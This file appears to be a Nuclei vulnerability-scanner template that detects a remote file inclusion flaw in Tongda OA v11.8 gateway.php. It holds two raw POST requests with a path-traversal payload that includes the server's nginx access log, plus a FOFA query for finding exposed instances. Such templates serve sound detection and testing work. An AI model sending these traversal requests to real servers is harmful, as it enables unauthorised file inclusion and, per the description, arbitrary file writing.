nuclei-templates/http/vulnerabilities/tongda/tongda-getway-rfi.yaml

44 lines
1.6 KiB
YAML
Executable File

id: tongda-getway-rfi
info:
name: Tongda OA v11.8 getway.php - Remote File Inclution
author: SleepingBag945,pussycat0x
severity: critical
description: |
There is a file inclusion vulnerability in Tongda OA v11.8 getway.php, an attacker sends a malicious request to include a log file, resulting in an arbitrary file writing vulnerability
reference:
- https://github.com/Threekiii/Awesome-POC/blob/master/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E9%80%9A%E8%BE%BEOA%20v11.8%20getway.php%20%E8%BF%9C%E7%A8%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E.md
metadata:
verified: true
max-request: 2
fofa-query: app="TDXK-通达OA"
tags: tongda,rfi
http:
- raw:
- |
POST /ispirit/interface/gateway.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
json={"url":"/general/../../nginx/logs/oa.access.log"}
- |
POST /mac/gateway.php HTTP/1.1
Host: {{Hostname}}
Content-Length: 54
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
json={"url":"/general/../../nginx/logs/oa.access.log"}
matchers:
- type: dsl
dsl:
- 'contains(body_1, "ERROR URL")'
- "contains(body_2, 'GET') || contains(body_2, 'POST')"
- 'status_code_1==200 && status_code_2 == 200'
condition: and
# digest: 4b0a00483046022100ace369b495c3c20753d111b9951b654c66682b38ecb89775c65cb0e9b23dd11d022100a9a3b446556750d6ecd73dff1605d01a1c60728720f4ee0c54654b1dcbd4c5d8:922c64590222798bb761d5b6d8e72950